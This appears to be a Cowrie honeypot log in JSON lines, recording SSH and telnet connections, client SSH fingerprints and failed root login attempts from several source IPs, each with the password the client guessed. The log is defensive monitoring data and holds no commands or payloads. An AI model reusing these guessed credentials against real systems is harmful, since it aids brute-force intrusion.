{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:51.445350Z","src_ip":"170.106.188.200","session":"90a21cde4ed2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mikko","message":"login attempt [root/mikko] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:51.750155Z","src_ip":"170.106.188.200","session":"90a21cde4ed2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:52.822500Z","src_ip":"170.106.188.200","session":"90a21cde4ed2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57200,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f13ea770e4c","protocol":"telnet","message":"New connection: 192.119.13.58:57200 (10.17.0.5:23) [session: 3f13ea770e4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:53.158062Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37534,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fe2c6b5b98e","protocol":"telnet","message":"New connection: 192.119.13.58:37534 (10.17.0.5:23) [session: 9fe2c6b5b98e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:13:55.407452Z"}
{"eventid":"cowrie.session.closed","duration":36.284183740615845,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:14:01.115266Z","src_ip":"192.119.13.58","session":"b8d89fe9e233","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46252,"dst_ip":"10.17.0.5","dst_port":23,"session":"9940a89e714c","protocol":"telnet","message":"New connection: 192.119.13.58:46252 (10.17.0.5:23) [session: 9940a89e714c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:14:04.663348Z"}
{"eventid":"cowrie.session.closed","duration":41.406168699264526,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:14:06.521966Z","src_ip":"192.119.13.58","session":"d23553f8f411","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":53828,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f0aa9867438","protocol":"ssh","message":"New connection: 186.4.240.226:53828 (159.203.135.109:22) [session: 8f0aa9867438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:14:08.311360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:14:08.317650Z","src_ip":"186.4.240.226","session":"8f0aa9867438","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:14:08.402563Z","src_ip":"186.4.240.226","session":"8f0aa9867438","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elasticsearch","message":"login attempt [root/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:14:08.780580Z","src_ip":"186.4.240.226","session":"8f0aa9867438","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:14:09.874774Z","src_ip":"186.4.240.226","session":"8f0aa9867438","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":54622,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a84d1852a80","protocol":"ssh","message":"New connection: 193.228.128.84:54622 (10.17.0.5:22) [session: 8a84d1852a80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:14:17.235229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:14:17.239195Z","src_ip":"193.228.128.84","session":"8a84d1852a80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:14:17.341280Z","src_ip":"193.228.128.84","session":"8a84d1852a80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stalker123","message":"login attempt [root/stalker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:14:17.659113Z","src_ip":"193.228.128.84","session":"8a84d1852a80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:14:18.764693Z","src_ip":"193.228.128.84","session":"8a84d1852a80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.66629648208618,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:14:19.175190Z","src_ip":"192.119.13.58","session":"42c437740276","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.72246599197388,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:14:26.880423Z","src_ip":"192.119.13.58","session":"3f13ea770e4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.64610743522644,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:14:39.053421Z","src_ip":"192.119.13.58","session":"9fe2c6b5b98e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49014,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fec815b5df4","protocol":"telnet","message":"New connection: 192.119.13.58:49014 (10.17.0.5:23) [session: 6fec815b5df4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:14:40.657695Z"}
{"eventid":"cowrie.session.closed","duration":43.57028841972351,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:14:48.233494Z","src_ip":"192.119.13.58","session":"9940a89e714c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":52946,"dst_ip":"10.17.0.5","dst_port":22,"session":"7dfe3257bd10","protocol":"ssh","message":"New connection: 37.233.85.71:52946 (10.17.0.5:22) [session: 7dfe3257bd10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:14:49.349658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:14:49.354605Z","src_ip":"37.233.85.71","session":"7dfe3257bd10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:14:49.449758Z","src_ip":"37.233.85.71","session":"7dfe3257bd10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oliver","message":"login attempt [root/oliver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:14:49.740128Z","src_ip":"37.233.85.71","session":"7dfe3257bd10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:14:50.839711Z","src_ip":"37.233.85.71","session":"7dfe3257bd10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48104,"dst_ip":"10.17.0.5","dst_port":23,"session":"c46e7862136e","protocol":"telnet","message":"New connection: 192.119.13.58:48104 (10.17.0.5:23) [session: c46e7862136e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:14:54.348458Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":35010,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea9279137c4c","protocol":"ssh","message":"New connection: 170.106.188.200:35010 (159.203.135.109:22) [session: ea9279137c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:14:58.744604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:14:58.749859Z","src_ip":"170.106.188.200","session":"ea9279137c4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:14:58.818850Z","src_ip":"170.106.188.200","session":"ea9279137c4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"angel123","message":"login attempt [root/angel123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:14:59.125671Z","src_ip":"170.106.188.200","session":"ea9279137c4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.101.216.219","src_port":43222,"dst_ip":"159.203.135.109","dst_port":22,"session":"24b1572e2a3d","protocol":"ssh","message":"New connection: 103.101.216.219:43222 (159.203.135.109:22) [session: 24b1572e2a3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:14:59.761637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:14:59.766422Z","src_ip":"103.101.216.219","session":"24b1572e2a3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:15:00.017273Z","src_ip":"103.101.216.219","session":"24b1572e2a3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:15:00.197482Z","src_ip":"170.106.188.200","session":"ea9279137c4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"swatch","message":"login attempt [root/swatch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:15:01.040469Z","src_ip":"103.101.216.219","session":"24b1572e2a3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:15:02.293091Z","src_ip":"103.101.216.219","session":"24b1572e2a3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40768,"dst_ip":"10.17.0.5","dst_port":23,"session":"db81f763f7e0","protocol":"telnet","message":"New connection: 192.119.13.58:40768 (10.17.0.5:23) [session: db81f763f7e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:15:06.571904Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":45170,"dst_ip":"159.203.135.109","dst_port":22,"session":"9087ca6946da","protocol":"ssh","message":"New connection: 103.82.132.16:45170 (159.203.135.109:22) [session: 9087ca6946da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:15:16.119621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:15:16.127333Z","src_ip":"103.82.132.16","session":"9087ca6946da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:15:16.390269Z","src_ip":"103.82.132.16","session":"9087ca6946da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"agent007","message":"login attempt [root/agent007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:15:17.179725Z","src_ip":"103.82.132.16","session":"9087ca6946da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:15:18.445311Z","src_ip":"103.82.132.16","session":"9087ca6946da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36908,"dst_ip":"10.17.0.5","dst_port":23,"session":"b83436d6686b","protocol":"telnet","message":"New connection: 192.119.13.58:36908 (10.17.0.5:23) [session: b83436d6686b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:15:20.007511Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":40872,"dst_ip":"159.203.135.109","dst_port":22,"session":"187050de1372","protocol":"ssh","message":"New connection: 186.4.240.226:40872 (159.203.135.109:22) [session: 187050de1372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:15:25.475027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:15:25.483409Z","src_ip":"186.4.240.226","session":"187050de1372","protocol":"ssh"}
